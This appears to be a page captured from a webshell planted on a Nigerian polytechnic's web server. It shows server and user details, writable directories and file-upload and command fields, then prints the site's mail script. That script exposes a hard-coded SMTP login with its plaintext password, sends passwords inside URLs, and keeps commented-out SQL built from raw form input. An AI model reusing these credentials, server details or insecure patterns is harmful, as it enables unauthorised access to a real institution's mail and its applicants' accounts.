403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.69.58.211
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs/entranceform/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs/entranceform/sendMail.php
<?php
//session_start();
//require_once("../connect.php");
//$db=db_connect();
//extract($_POST);
////die($userN);
//$matNo=strtoupper($userN);
//$aspoa="select * from realdata where matNo='$matNo'";
//$aspoa=$db->query($aspoa);
// $aspoa_count=$aspoa->rowCount();
//die();
// support functions
require('../PHPMailer/src/PHPMailer.php');
require('../PHPMailer/src/SMTP.php');
require('../PHPMailer/src/Exception.php');

$mail = new PHPMailer\PHPMailer\PHPMailer();
//
//

function SendSMTPLoginMail($email,$username,$transID,$pwd) {
    $mailmsg = "<strong><u>ACCOUNT CREATION DETAILS</u></strong><BR>";
    $mailmsg .= "<p>Dear $username,</p>Please find below the access credential to FPE Application Form.<br>";
    $mailmsg .= "<br>Transaction ID: $transID";
    $mailmsg .= "<br>Password: $pwd";
    $mailmsg .= "<br><br>Kindly keep this information, it will be required whenever you want to access the Portal.";
    $mailmsg .= "<br><a href=https://federalpolyede.edu.ng/entranceForm/login_process.php?user=".$transID ."&pass=".$pwd."><p>Click Here to Proceed</a>";
    $mailmsg.=" <br><b>Date:</b> ".DATE("d-m-y H:i:s");
    $mailmsg .= "<br><br>Thanks you.";
//    $mailmsg .= "<";
    $mailmsg .= '<hr><div style="color: #FF0000"><a href="https://www.federalpolyede.edu.ng/entranceform/index_pay_question.php" style="color: #FF0000"><h1>Click Here to Pay for Electronic Preparatory Questions For POST UTME</h1></a></div><br>Contact Us @ 07061230735 (SMS or WhatsApp ONLY';
    //
    $reply = SMTPSendMail($email, $mailmsg);
    return $reply;
}
//

function SMTPSendMail($email,$mailmsg)
{
    //Create a new PHPMailer instance
    global $mail;
    //Tell PHPMailer to use SMTP
    $mail->isSMTP();
    $mail->Host = 'mail.federalpolyede.edu.ng';
    //Set the SMTP port number - likely to be 25, 465 or 587
    $mail->Port = 25;
    //Whether to use SMTP authentication
    $mail->SMTPAuth = true;
    // Set email format to HTML
    $mail->isHTML(true);
    //Username to use for SMTP authentication
    $mail->Username = '[email protected]';
    //Password to use for SMTP authentication
    $mail->Password = 'eih1V15&';
    //Set who the message is to be sent from
    $mail->setFrom('[email protected]', 'FedPolyEde ICT Support');
    //Set who the message is to be sent to
    $mail->addAddress($email, 'User Feedback');
    //Set the subject line
    $mail->Subject = 'User Access Information';
    //Read an HTML message body from an external file, convert referenced images to embedded,
    //convert HTML into a basic plain-text alternative body
    $mail->msgHTML($mailmsg);
    //Replace the plain text body with one created manually
    $retvalue = "";





    if (!$mail->send())
        echo $retvalue = 'Mailer Error: ' . $mail->ErrorInfo;
    else

        $retvalue = "OK";
    //
    return $retvalue;
//            echo ("here");

}
//echo ("here");

//
//$_SESSION['sendMailID']=1;
//if ($aspoa_count==1) {
//    $aspoa_fetch = $aspoa->fetch(PDO::FETCH_BOTH);
//    $email = $aspoa_fetch['email'];
//    $names = $aspoa_fetch['names'];
//    $password = $aspoa_fetch['passworda'];
//    $atNo = $aspoa_fetch['matNo'];
//$transID='782638752';
//$pass1="kljl";
//$email="[email protected]";
//SendSMTPLoginMail($email, $surname,$transID, $pass1);

//    header('location:login.php?sendMailID=1');
//}else{
//    header('location:login.php?sendMailID=2');
//}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit